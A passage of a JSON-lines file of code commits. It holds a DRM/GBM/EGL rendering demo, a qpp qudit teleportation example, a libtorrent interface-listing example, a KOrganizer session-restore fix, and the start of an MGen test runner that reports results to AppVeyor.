}\n\nprivate:\n\tstruct gbm_surface* m_surface;\n};\n\nclass GbmEglSurface\n{\npublic:\n\tGbmEglSurface(Card& card, GbmDevice& gdev, const EglState& egl, int width, int height)\n\t\t: card(card), egl(egl), m_width(width), m_height(height),\n\t\t  bo_prev(0), bo_next(0)\n\t{\n\t\tgsurface = unique_ptr<GbmSurface>(new GbmSurface(gdev, width, height));\n\t\tesurface = eglCreateWindowSurface(egl.display(), egl.config(), gsurface->handle(), NULL);\n\t\tFAIL_IF(esurface == EGL_NO_SURFACE, \"failed to create egl surface\");\n\t}\n\n\t~GbmEglSurface()\n\t{\n\t\tif (bo_next)\n\t\t\tgsurface->release_buffer(bo_next);\n\t\teglDestroySurface(egl.display(), esurface);\n\t}\n\n\tvoid make_current()\n\t{\n\t\tFAIL_IF(!gsurface->has_free(), \"No free buffers\");\n\n\t\teglMakeCurrent(egl.display(), esurface, esurface, egl.context());\n\t}\n\n\tvoid swap_buffers()\n\t{\n\t\teglSwapBuffers(egl.display(), esurface);\n\t}\n\n\tstatic void drm_fb_destroy_callback(struct gbm_bo *bo, void *data)\n\t{\n\t\tauto fb = reinterpret_cast<Framebuffer*>(data);\n\t\tdelete fb;\n\t}\n\n\tstatic Framebuffer* drm_fb_get_from_bo(struct gbm_bo *bo, Card& card)\n\t{\n\t\tauto fb = reinterpret_cast<Framebuffer*>(gbm_bo_get_user_data(bo));\n\t\tif (fb)\n\t\t\treturn fb;\n\n\t\tuint32_t width = gbm_bo_get_width(bo);\n\t\tuint32_t height = gbm_bo_get_height(bo);\n\t\tuint32_t stride = gbm_bo_get_stride(bo);\n\t\tuint32_t handle = gbm_bo_get_handle(bo).u32;\n\t\tPixelFormat format = (PixelFormat)gbm_bo_get_format(bo);\n\n\t\tuint32_t handles[4] { handle };\n\t\tuint32_t strides[4] { stride };\n\t\tuint32_t offsets[4] { 0 };\n\n\t\tfb = new ExtFramebuffer(card, width, height, format, handles, strides, offsets);\n\n\t\tgbm_bo_set_user_data(bo, fb, drm_fb_destroy_callback);\n\n\t\treturn fb;\n\t}\n\n\tFramebuffer* lock_next()\n\t{\n\t\tbo_prev = bo_next;\n\t\tbo_next = gsurface->lock_front_buffer();\n\t\tFAIL_IF(!bo_next, \"could not lock gbm buffer\");\n\t\treturn drm_fb_get_from_bo(bo_next, card);\n\t}\n\n\tvoid free_prev()\n\t{\n\t\tif (bo_prev) {\n\t\t\tgsurface->release_buffer(bo_prev);\n\t\t\tbo_prev = 0;\n\t\t}\n\t}\n\n\tuint32_t width() const { return m_width; }\n\tuint32_t height() const { return m_height; }\n\nprivate:\n\tCard& card;\n\tconst EglState& egl;\n\n\tunique_ptr<GbmSurface> gsurface;\n\tEGLSurface esurface;\n\n\tint m_width;\n\tint m_height;\n\n\tstruct gbm_bo* bo_prev;\n\tstruct gbm_bo* bo_next;\n};\n\nclass OutputHandler : private PageFlipHandlerBase\n{\npublic:\n\tOutputHandler(Card& card, GbmDevice& gdev, const EglState& egl, Connector* connector, Crtc* crtc, Videomode& mode, Plane* plane, float rotation_mult)\n\t\t: m_frame_num(0), m_connector(connector), m_crtc(crtc), m_plane(plane), m_mode(mode),\n\t\t  m_rotation_mult(rotation_mult)\n\t{\n\t\tm_surface1 = unique_ptr<GbmEglSurface>(new GbmEglSurface(card, gdev, egl, mode.hdisplay, mode.vdisplay));\n\t\tm_scene1 = unique_ptr<GlScene>(new GlScene());\n\t\tm_scene1->set_viewport(m_surface1->width(), m_surface1->height());\n\n\t\tif (m_plane) {\n\t\t\tm_surface2 = unique_ptr<GbmEglSurface>(new GbmEglSurface(card, gdev, egl, 400, 400));\n\t\t\tm_scene2 = unique_ptr<GlScene>(new GlScene());\n\t\t\tm_scene2->set_viewport(m_surface2->width(), m_surface2->height());\n\t\t}\n\t}\n\n\tOutputHandler(const OutputHandler& other) = delete;\n\tOutputHandler& operator=(const OutputHandler& other) = delete;\n\n\tvoid setup()\n\t{\n\t\tint ret;\n\n\t\tm_surface1->make_current();\n\t\tm_surface1->swap_buffers();\n\t\tFramebuffer* fb = m_surface1->lock_next();\n\n\t\tFramebuffer* planefb = 0;\n\n\t\tif (m_plane) {\n\t\t\tm_surface2->make_current();\n\t\t\tm_surface2->swap_buffers();\n\t\t\tplanefb = m_surface2->lock_next();\n\t\t}\n\n\n\t\tret = m_crtc->set_mode(m_connector, *fb, m_mode);\n\t\tFAIL_IF(ret, \"failed to set mode\");\n\n\t\tif (m_crtc->card().has_atomic()) {\n\t\t\tPlane* root_plane = 0;\n\t\t\tfor (Plane* p : m_crtc->get_possible_planes()) {\n\t\t\t\tif (p->crtc_id() == m_crtc->id()) {\n\t\t\t\t\troot_plane = p;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tFAIL_IF(!root_plane, \"No primary plane for crtc %d\", m_crtc->id());\n\n\t\t\tm_root_plane = root_plane;\n\t\t}\n\n\t\tif (m_plane) {\n\t\t\tret = m_crtc->set_plane(m_plane, *planefb,\n\t\t\t\t\t\t0, 0, planefb->width(), planefb->height(),\n\t\t\t\t\t\t0, 0, planefb->width(), planefb->height());\n\t\t\tFAIL_IF(ret, \"failed to set plane\");\n\t\t}\n\t}\n\n\tvoid start_flipping()\n\t{\n\t\tm_t1 = chrono::steady_clock::now();\n\t\tqueue_next();\n\t}\n\nprivate:\n\tvoid handle_page_flip(uint32_t frame, double time)\n\t{\n\t\t++m_frame_num;\n\n\t\tif (m_frame_num  % 100 == 0) {\n\t\t\tauto t2 = chrono::steady_clock::now();\n\t\t\tchrono::duration<float> fsec = t2 - m_t1;\n\t\t\tprintf(\"fps: %f\\n\", 100.0 \/ fsec.count());\n\t\t\tm_t1 = t2;\n\t\t}\n\n\t\ts_flip_pending--;\n\n\t\tm_surface1->free_prev();\n\t\tif (m_plane)\n\t\t\tm_surface2->free_prev();\n\n\t\tif (s_need_exit)\n\t\t\treturn;\n\n\t\tqueue_next();\n\t}\n\n\tvoid queue_next()\n\t{\n\t\tm_surface1->make_current();\n\t\tm_scene1->draw(m_frame_num * m_rotation_mult);\n\t\tm_surface1->swap_buffers();\n\t\tFramebuffer* fb = m_surface1->lock_next();\n\n\t\tFramebuffer* planefb = 0;\n\n\t\tif (m_plane) {\n\t\t\tm_surface2->make_current();\n\t\t\tm_scene2->draw(m_frame_num * m_rotation_mult * 2);\n\t\t\tm_surface2->swap_buffers();\n\t\t\tplanefb = m_surface2->lock_next();\n\t\t}\n\n\t\tif (m_crtc->card().has_atomic()) {\n\t\t\tint r;\n\n\t\t\tAtomicReq req(m_crtc->card());\n\n\t\t\treq.add(m_root_plane, \"FB_ID\", fb->id());\n\t\t\tif (m_plane)\n\t\t\t\treq.add(m_plane, \"FB_ID\", planefb->id());\n\n\t\t\tr = req.test();\n\t\t\tFAIL_IF(r, \"atomic test failed\");\n\n\t\t\tr = req.commit(this);\n\t\t\tFAIL_IF(r, \"atomic commit failed\");\n\t\t} else {\n\t\t\tint ret;\n\n\t\t\tret = m_crtc->page_flip(*fb, this);\n\t\t\tFAIL_IF(ret, \"failed to queue page flip\");\n\n\t\t\tif (m_plane) {\n\t\t\t\tret = m_crtc->set_plane(m_plane, *planefb,\n\t\t\t\t\t\t\t0, 0, planefb->width(), planefb->height(),\n\t\t\t\t\t\t\t0, 0, planefb->width(), planefb->height());\n\t\t\t\tFAIL_IF(ret, \"failed to set plane\");\n\t\t\t}\n\t\t}\n\n\t\ts_flip_pending++;\n\t}\n\n\tint m_frame_num;\n\tchrono::steady_clock::time_point m_t1;\n\n\tConnector* m_connector;\n\tCrtc* m_crtc;\n\tPlane* m_plane;\n\tVideomode m_mode;\n\tPlane* m_root_plane;\n\n\tunique_ptr<GbmEglSurface> m_surface1;\n\tunique_ptr<GbmEglSurface> m_surface2;\n\n\tunique_ptr<GlScene> m_scene1;\n\tunique_ptr<GlScene> m_scene2;\n\n\tfloat m_rotation_mult;\n};\n\nvoid main_gbm()\n{\n\tCard card;\n\n\tGbmDevice gdev(card);\n\tEglState egl(gdev.handle());\n\n\tvector<unique_ptr<OutputHandler>> outputs;\n\tvector<Plane*> used_planes;\n\n\tfloat rot_mult = 1;\n\n\tfor (auto pipe : card.get_connected_pipelines()) {\n\t\tauto connector = pipe.connector;\n\t\tauto crtc = pipe.crtc;\n\t\tauto mode = connector->get_default_mode();\n\n\t\tPlane* plane = 0;\n\n\t\tif (s_support_planes) {\n\t\t\tfor (Plane* p : crtc->get_possible_planes()) {\n\t\t\t\tif (find(used_planes.begin(), used_planes.end(), p) != used_planes.end())\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (p->plane_type() != PlaneType::Overlay)\n\t\t\t\t\tcontinue;\n\n\t\t\t\tplane = p;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (plane)\n\t\t\tused_planes.push_back(plane);\n\n\t\tauto out = new OutputHandler(card, gdev, egl, connector, crtc, mode, plane, rot_mult);\n\t\toutputs.emplace_back(out);\n\n\t\trot_mult *= 1.33;\n\t}\n\n\tfor (auto& out : outputs)\n\t\tout->setup();\n\n\tfor (auto& out : outputs)\n\t\tout->start_flipping();\n\n\tstruct pollfd fds[2] = { };\n\tfds[0].fd = 0;\n\tfds[0].events =  POLLIN;\n\tfds[1].fd = card.fd();\n\tfds[1].events =  POLLIN;\n\n\twhile (!s_need_exit || s_flip_pending) {\n\t\tint r = poll(fds, ARRAY_SIZE(fds), -1);\n\t\tFAIL_IF(r < 0, \"poll error %d\", r);\n\n\t\tif (fds[0].revents)\n\t\t\ts_need_exit = true;\n\n\t\tif (fds[1].revents)\n\t\t\tcard.call_page_flip_handlers();\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Qubit teleporation circuit simulator\n\/\/ Source: .\/examples\/circuits\/teleport_qubit.cpp\n#include <iostream>\n\n#include \"qpp.h\"\n\nint main() {\n    using namespace qpp;\n    idx d = 5; \/\/ qudit dimension\n    std::cout << \">> Qudit teleportation (d = \" << d << \") \";\n    std::cout << \"quantum circuit simulation\\n\\n\";\n\n    \/\/ quantum circuit description with 3 qudits, 2 classical bits, (optional)\n    \/\/ dimension d = 5 and (optional) name = \"qudit teleportation\"\n    QCircuitDescription tele_qudit{3, 2, d, \"qudit teleportation\"};\n    \/\/ set the qubit 0 to a random state\n    cmat U = randU(d);\n    tele_qudit.gate(U, 0);\n\n    \/\/ set the MES between qudits 1 and 2\n    tele_qudit.gate(gt.Fd(d), 1);\n    tele_qudit.CTRL(gt.Xd(d), 1, 2);\n\n    \/\/ perform the Bell measurement between qudits 0 and 1\n    tele_qudit.CTRL(adjoint(gt.Xd(d)), 0, 1);\n    tele_qudit.gate(adjoint(gt.Fd(d)), 0);\n\n    \/\/ perform the measurements\n    tele_qudit.measureZ(0, 0);\n    tele_qudit.measureZ(1, 1);\n\n    \/\/ apply the classical controls\n    tele_qudit.cCTRL(adjoint(gt.Xd(d)), 1, 2);\n    tele_qudit.cCTRL(gt.Zd(d), 0, 2);\n\n    QCircuit qc_tele_qudit{tele_qudit};\n    std::cout << \">> BEGIN CIRCUIT DESCRIPTION\\n\";\n    std::cout << qc_tele_qudit.get_circuit_description() << '\\n';\n    std::cout << \">> END CIRCUIT DESCRIPTION\\n\\n\";\n\n    \/\/ non-verbose run, use qc_teleport_qubit.run(true) for verbose running\n    qc_tele_qudit.run();\n\n    \/\/ displays the  measurement statistics\n    std::cout << \">> BEGIN AFTER RUNNING\\n\";\n    std::cout << qc_tele_qudit << '\\n';\n    std::cout << \">> END AFTER RUNNING\\n\\n\";\n\n    \/\/ verify that the teleportation was successful\n    ket psi_initial = U * mket({0}, d);\n    ket psi_final = qc_tele_qudit.get_psi();\n    std::cout << \">> Teleported state:\\n\";\n    std::cout << disp(psi_final) << '\\n';\n    std::cout << \">> Norm difference: \" << norm(psi_final - psi_initial)\n              << '\\n';\n}\n<commit_msg>Update teleport_qudit_circuit.cpp<commit_after>\/\/ Qudit teleporation circuit simulator\n\/\/ Source: .\/examples\/circuits\/teleport_qudit_circuit.cpp\n#include <iostream>\n\n#include \"qpp.h\"\n\nint main() {\n    using namespace qpp;\n    idx d = 5; \/\/ qudit dimension\n    std::cout << \">> Qudit teleportation (d = \" << d << \") \";\n    std::cout << \"quantum circuit simulation\\n\\n\";\n\n    \/\/ quantum circuit description with 3 qudits, 2 classical bits, (optional)\n    \/\/ dimension d = 5 and (optional) name = \"qudit teleportation\"\n    QCircuitDescription tele_qudit{3, 2, d, \"qudit teleportation\"};\n    \/\/ set the qubit 0 to a random state\n    cmat U = randU(d);\n    tele_qudit.gate(U, 0);\n\n    \/\/ set the MES between qudits 1 and 2\n    tele_qudit.gate(gt.Fd(d), 1);\n    tele_qudit.CTRL(gt.Xd(d), 1, 2);\n\n    \/\/ perform the Bell measurement between qudits 0 and 1\n    tele_qudit.CTRL(adjoint(gt.Xd(d)), 0, 1);\n    tele_qudit.gate(adjoint(gt.Fd(d)), 0);\n\n    \/\/ perform the measurements\n    tele_qudit.measureZ(0, 0);\n    tele_qudit.measureZ(1, 1);\n\n    \/\/ apply the classical controls\n    tele_qudit.cCTRL(adjoint(gt.Xd(d)), 1, 2);\n    tele_qudit.cCTRL(gt.Zd(d), 0, 2);\n\n    QCircuit qc_tele_qudit{tele_qudit};\n    std::cout << \">> BEGIN CIRCUIT DESCRIPTION\\n\";\n    std::cout << qc_tele_qudit.get_circuit_description() << '\\n';\n    std::cout << \">> END CIRCUIT DESCRIPTION\\n\\n\";\n\n    \/\/ non-verbose run, use qc_teleport_qubit.run(true) for verbose running\n    qc_tele_qudit.run();\n\n    \/\/ displays the  measurement statistics\n    std::cout << \">> BEGIN AFTER RUNNING\\n\";\n    std::cout << qc_tele_qudit << '\\n';\n    std::cout << \">> END AFTER RUNNING\\n\\n\";\n\n    \/\/ verify that the teleportation was successful\n    ket psi_initial = U * mket({0}, d);\n    ket psi_final = qc_tele_qudit.get_psi();\n    std::cout << \">> Teleported state:\\n\";\n    std::cout << disp(psi_final) << '\\n';\n    std::cout << \">> Norm difference: \" << norm(psi_final - psi_initial)\n              << '\\n';\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <libtorrent\/enum_net.hpp>\n#include <libtorrent\/socket.hpp>\n#include <libtorrent\/broadcast_socket.hpp>\n#include <vector>\n\nusing namespace libtorrent;\n\nint main()\n{\n\tio_service ios;\n\tasio::error_code ec;\n\tstd::vector<ip_interface> const& net = enum_net_interfaces(ios, ec);\n\n\tfor (std::vector<ip_interface>::const_iterator i = net.begin()\n\t\t, end(net.end()); i != end; ++i)\n\t{\n\t\tstd::cout << \"address: \" << i->interface_address << std::endl\n\t\t\t<< \"   mask: \" << i->netmask << std::endl\n\t\t\t<< \"   flags: \";\n\t\tif (is_multicast(i->interface_address)) std::cout << \"multicast \";\n\t\tif (is_local(i->interface_address)) std::cout << \"local \";\n\t\tif (is_loopback(i->interface_address)) std::cout << \"loopback \";\n\t\tstd::cout << std::endl;\n\t}\n\n\taddress local = guess_local_address(ios);\n\n\tstd::cout << \"Local address: \" << local << std::endl;\n}\n\n<commit_msg>prints out default gateway in example<commit_after>#include <libtorrent\/enum_net.hpp>\n#include <libtorrent\/socket.hpp>\n#include <libtorrent\/broadcast_socket.hpp>\n#include <vector>\n\nusing namespace libtorrent;\n\nint main()\n{\n\tio_service ios;\n\tasio::error_code ec;\n\tstd::vector<ip_interface> const& net = enum_net_interfaces(ios, ec);\n\n\tfor (std::vector<ip_interface>::const_iterator i = net.begin()\n\t\t, end(net.end()); i != end; ++i)\n\t{\n\t\tstd::cout << \"address: \" << i->interface_address << std::endl\n\t\t\t<< \"   mask: \" << i->netmask << std::endl\n\t\t\t<< \"   flags: \";\n\t\tif (is_multicast(i->interface_address)) std::cout << \"multicast \";\n\t\tif (is_local(i->interface_address)) std::cout << \"local \";\n\t\tif (is_loopback(i->interface_address)) std::cout << \"loopback \";\n\t\tstd::cout << std::endl;\n\t}\n\n\taddress local = guess_local_address(ios);\n\tstd::cout << \"Local address: \" << local << std::endl;\n\n\taddress gateway = get_default_gateway(ios, local, ec);\n\tstd::cout << \"Default gateway: \" << gateway << std::endl;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 1999 Preston Brown <pbrown@kde.org>\n    Copyright (c) 2000,2001,2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <stdlib.h>\n#include <iostream>\n\n#include <kglobal.h>\n#include <kcmdlineargs.h>\n#include <kconfig.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kwin.h>\n#include <kurl.h>\n\n#include <libkcal\/calformat.h>\n#include <libkcal\/calendarresources.h>\n\n#include \"korganizer.h\"\n#include \"koprefs.h\"\n#include \"version.h\"\n#include \"alarmclient.h\"\n#include \"koglobals.h\"\n#include \"actionmanager.h\"\n#include \"importdialog.h\"\n#include \"kocore.h\"\n#include \"calendarview.h\"\n#include \"stdcalendar.h\"\n\n#include \"koapp.h\"\n#include <kstartupinfo.h>\n\nusing namespace std;\n\nKOrganizerApp::KOrganizerApp() : KUniqueApplication()\n{\n  QString prodId = \"-\/\/K Desktop Environment\/\/NONSGML KOrganizer %1\/\/EN\";\n  CalFormat::setApplication( \"KOrganizer\", prodId.arg( korgVersion ) );\n}\n\nKOrganizerApp::~KOrganizerApp()\n{\n}\n\nint KOrganizerApp::newInstance()\n{\n  kdDebug(5850) << \"KOApp::newInstance()\" << endl;\n  static bool first = true;\n  if ( isRestored() && first ) {\n     first = false;\n     return 0;\n  }\n  first = false;\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  KOGlobals::self()->alarmClient()->startDaemon();\n\n  \/\/ If filenames was given as argument load this as calendars, one per window.\n  if ( args->count() > 0 ) {\n    int i;\n    for( i = 0; i < args->count(); ++i ) {\n      processCalendar( args->url( i ) );\n    }\n    if ( args->isSet( \"import\" ) ) {\n      processCalendar( KURL() );\n    }\n  } else {\n    processCalendar( KURL() );\n  }\n\n  if ( args->isSet( \"import\" ) ) {\n    KOrg::MainWindow *korg = ActionManager::findInstance( KURL() );\n    if ( !korg ) {\n      kdError() << \"Unable to find default calendar resources view.\" << endl;\n    } else {\n      KURL url = KCmdLineArgs::makeURL( args->getOption( \"import\" ) );\n      korg->actionManager()->importCalendar( url );\n    }\n  }\n\n  kdDebug(5850) << \"KOApp::newInstance() done\" << endl;\n\n  return 0;\n}\n\n\nvoid KOrganizerApp::processCalendar( const KURL &url )\n{\n  KOrg::MainWindow *korg = ActionManager::findInstance( url );\n  if ( !korg ) {\n    bool hasDocument = !url.isEmpty();\n    korg = new KOrganizer( \"KOrganizer MainWindow\" );\n    korg->init( hasDocument );\n    korg->topLevelWidget()->show();\n\n    kdDebug(5850) << \"KOrganizerApp::processCalendar(): '\" << url.url()\n                  << \"'\" << endl;\n\n    if ( hasDocument )\n      korg->openURL( url );\n    else {\n      KOrg::StdCalendar::self()->load();\n      korg->view()->updateCategories();\n      korg->view()->updateView();\n    }\n  } else {\n    korg->topLevelWidget()->show();\n  }\n\n  \/\/ Handle window activation\n#if defined Q_WS_X11 && ! defined K_WS_QTONLY\n  KStartupInfo::setNewStartupId( korg->topLevelWidget(), startupId() );\n#endif\n}\n\n#include \"koapp.moc\"\n<commit_msg>BUG: 91062 restore correct calendar at login<commit_after>\/*\n    This file is part of KOrganizer.\n\n    Copyright (c) 1999 Preston Brown <pbrown@kde.org>\n    Copyright (c) 2000,2001,2003 Cornelius Schumacher <schumacher@kde.org>\n    Copyright (C) 2003-2004 Reinhold Kainhofer <reinhold@kainhofer.com>\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include <stdlib.h>\n#include <iostream>\n\n#include <kglobal.h>\n#include <kcmdlineargs.h>\n#include <kconfig.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kwin.h>\n#include <kurl.h>\n\n#include <libkcal\/calformat.h>\n#include <libkcal\/calendarresources.h>\n\n#include \"korganizer.h\"\n#include \"koprefs.h\"\n#include \"version.h\"\n#include \"alarmclient.h\"\n#include \"koglobals.h\"\n#include \"actionmanager.h\"\n#include \"importdialog.h\"\n#include \"kocore.h\"\n#include \"calendarview.h\"\n#include \"stdcalendar.h\"\n\n#include \"koapp.h\"\n#include <kstartupinfo.h>\n\nusing namespace std;\n\nKOrganizerApp::KOrganizerApp() : KUniqueApplication()\n{\n  QString prodId = \"-\/\/K Desktop Environment\/\/NONSGML KOrganizer %1\/\/EN\";\n  CalFormat::setApplication( \"KOrganizer\", prodId.arg( korgVersion ) );\n}\n\nKOrganizerApp::~KOrganizerApp()\n{\n}\n\nint KOrganizerApp::newInstance()\n{\n  kdDebug(5850) << \"KOApp::newInstance()\" << endl;\n  static bool first = true;\n  if ( isRestored() && first ) {\n     KOrg::MainWindow *korg = ActionManager::findInstance( KURL() );\n     if ( korg ) {\n       KOrg::StdCalendar::self()->load();\n       korg->view()->updateCategories();\n       korg->view()->updateView();\n     }\n     first = false;\n     return 0;\n  }\n  first = false;\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  KOGlobals::self()->alarmClient()->startDaemon();\n\n  \/\/ If filenames was given as argument load this as calendars, one per window.\n  if ( args->count() > 0 ) {\n    int i;\n    for( i = 0; i < args->count(); ++i ) {\n      processCalendar( args->url( i ) );\n    }\n    if ( args->isSet( \"import\" ) ) {\n      processCalendar( KURL() );\n    }\n  } else {\n    processCalendar( KURL() );\n  }\n\n  if ( args->isSet( \"import\" ) ) {\n    KOrg::MainWindow *korg = ActionManager::findInstance( KURL() );\n    if ( !korg ) {\n      kdError() << \"Unable to find default calendar resources view.\" << endl;\n    } else {\n      KURL url = KCmdLineArgs::makeURL( args->getOption( \"import\" ) );\n      korg->actionManager()->importCalendar( url );\n    }\n  }\n\n  kdDebug(5850) << \"KOApp::newInstance() done\" << endl;\n\n  return 0;\n}\n\n\nvoid KOrganizerApp::processCalendar( const KURL &url )\n{\n  KOrg::MainWindow *korg = ActionManager::findInstance( url );\n  if ( !korg ) {\n    bool hasDocument = !url.isEmpty();\n    korg = new KOrganizer( \"KOrganizer MainWindow\" );\n    korg->init( hasDocument );\n    korg->topLevelWidget()->show();\n\n    kdDebug(5850) << \"KOrganizerApp::processCalendar(): '\" << url.url()\n                  << \"'\" << endl;\n\n    if ( hasDocument )\n      korg->openURL( url );\n    else {\n      KOrg::StdCalendar::self()->load();\n      korg->view()->updateCategories();\n      korg->view()->updateView();\n    }\n  } else {\n    korg->topLevelWidget()->show();\n  }\n\n  \/\/ Handle window activation\n#if defined Q_WS_X11 && ! defined K_WS_QTONLY\n  KStartupInfo::setNewStartupId( korg->topLevelWidget(), startupId() );\n#endif\n}\n\n#include \"koapp.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/\/ MGenTest.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include \"MGenTest.h\"\n#include \"..\/MGen\/GLibrary\/GLib.h\"\n\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#endif\n\n\/\/ The one and only application object\n\nCWinApp theApp;\n\nusing namespace std;\n\nCString current_dir, full_url, server, url;\nDWORD service;\nWORD port;\nofstream logfile;\nint ci = 0;\nint nRetCode = 0;\n\n\/*\nstring url_encode(const string &value) {\n\tostringstream escaped;\n\tescaped.fill('0');\n\tescaped << hex;\n\n\tfor (string::const_iterator i = value.begin(), n = value.end(); i != n; ++i) {\n\t\tstring::value_type c = (*i);\n\n\t\t\/\/ Keep alphanumeric and other accepted characters intact\n\t\tif (isalnum(c) || c == '-' || c == '_' || c == '.' || c == '~') {\n\t\t\tescaped << c;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Any other characters are percent-encoded\n\t\tescaped << uppercase;\n\t\tescaped << '%' << setw(2) << int((unsigned char)c);\n\t\tescaped << nouppercase;\n\t}\n\n\treturn escaped.str();\n}\n\nvoid HTTPPost(CString server, WORD port, CString url, CString data) {\n\tcout << \"HTTPPost to server \" << server << \" port \" << port << \" url \" << url << \" : \" << data << \"\\n\";\n\tCString strHeaders = \"Content-Type: application\/x-www-form-urlencoded\";\n\ttry {\n\t\tchar szBuf [2550];\n\t\tDWORD dwRet;\n\t\tCInternetSession session;\n\t\tCHttpConnection* pConnection = session.GetHttpConnection(server, port);\n\t\tCHttpFile* pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, url);\n\t\tpFile->AddRequestHeaders(strHeaders);\n\t\tdata = url_encode(data.GetBuffer()).c_str();\n\t\tcout << \"HTTPPost to server \" << server << \" port \" << port << \" url \" << url << \" : \" << data << \"\\n\";\n\t\tpFile->SendRequestEx(data.GetLength());\n\t\tpFile->Write(data, data.GetLength());\n\t\t\/\/BOOL result = pFile->SendRequest(strHeaders, (LPVOID)(LPCTSTR)data, data.GetLength());\n\t\tpFile->QueryInfoStatusCode(dwRet);\n\t\tcout << \"HTTP return code: \" << dwRet << \"\\n\";\n\t\tif (dwRet == HTTP_STATUS_OK) {\n\t\t\tUINT nRead = pFile->Read(szBuf, 2550);\n\t\t\tif (nRead > 0) {\n\t\t\t\tcout << \"HTTP result: \" << szBuf << \"\\n\";\n\t\t\t}\n\t\t}\t\n\t}\n\tcatch (CInternetException *e) {\n\t\t\/\/e->ReportError();\n\t\tTCHAR   szCause[2550];\n\t\te->GetErrorMessage(szCause, 2550);\n\t\tcout << \"Error when sending HTTP request: \" << szCause << \"\\n\";\n\t\te->Delete();\n\t}\n}\n*\/\n\nvoid Run(CString fname, CString par, int delay) {\n\tSHELLEXECUTEINFO sei = { 0 };\n\tsei.cbSize = sizeof(SHELLEXECUTEINFO);\n\tsei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;\n\tsei.hwnd = NULL;\n\tsei.lpVerb = NULL;\n\tsei.lpFile = fname;\n\tsei.lpParameters = par;\n\tsei.lpDirectory = NULL;\n\tsei.nShow = SW_SHOWNORMAL;\n\tsei.hInstApp = NULL;\n\tShellExecuteEx(&sei);\n\tWaitForSingleObject(sei.hProcess, delay);\n}\n\nvoid Log(CString st, int level = 0) {\n\tcout << st;\n\tlogfile << st;\n\tif (ci && level > 0) {\n\t\tCString cat;\n\t\tif (level == 1) cat = \"Information\";\n\t\tif (level == 2) cat = \"Warning\";\n\t\tif (level == 3) cat = \"Error\";\n\t\tCString par = \"AddMessage \\\"\" + st + \"\\\" -Category \" + cat;\n\t\tRun(\"appveyor\", par, 1000);\n\t}\n}\n\nCString file(CString fname) {\n\tCString st, st2;\n\tifstream fs;\n\t\/\/ Check file exists\n\tif (!CGLib::fileExists(fname)) {\n\t\tcout << \"Not found file \" << fname << \"\\n\";\n\t}\n\tfs.open(fname);\n\tchar pch[2550];\n\twhile (fs.good()) {\n\t\t\/\/ Get line\n\t\tfs.getline(pch, 2550);\n\t\tst2 = pch;\n\t\tif (st2 != \"\") {\n\t\t\tst += \"- \" + st2 + \"\\n\";\n\t\t}\n\t}\n\tfs.close();\n\treturn st;\n}\n\nvoid ClearBuffer() {\n\tfstream fs;\n\tfs.open(\"autotest\\\\buffer.log\", ios::out);\n\tfs.close();\n}\n\nvoid PublishTest(CString tname, int result, int tpassed) {\n\tCString st;\n\tCString st2;\n\tst2.Format(\"%s: code %d in %d ms\\n\", tname, result, tpassed);\n\tif (result) {\n\t\tnRetCode = 2;\n\t\tLog(st2, 3);\n\t}\n\telse {\n\t\tLog(st2, 1);\n\t}\n\n\t\/\/ Show errors\n\tCString errors = file(\"autotest\/buffer.log\");\n\tcout << errors;\n\n\tif (ci) {\n\t\t\/\/errors.Replace(\"\\n- \", \"\\\\n \");\n\t\tCString cat = \"Passed\";\n\t\tif (result) cat = \"Failed\";\n\t\tst.Format(\"UpdateTest \\\"%s\\\" -Framework MSTest -FileName MGen.exe -Duration %d -Outcome %s -ErrorMessage \\\"%d. %s\\\" -ErrorStackTrace \\\"%s\\\"\", tname, tpassed, cat, result, errors, errors);\n\t\tRun(\"appveyor\", st, 1000);\n\t\tst.Format(\"UpdateTest \\\"%s\\\" -StdErr \\\"%s\\\"\", tname, errors);\n\t\tRun(\"appveyor\", st, 1000);\n\t}\n\n\t\/*\n\t\/\/ Send HTTP\n\tst.Format(\"{\"\n\t\t\" \\\"testName\\\": \\\"%s\\\",\"\n\t\t\" \\\"testFramework\\\" : \\\"MSTest\\\",\"\n\t\t\" \\\"fileName\\\" 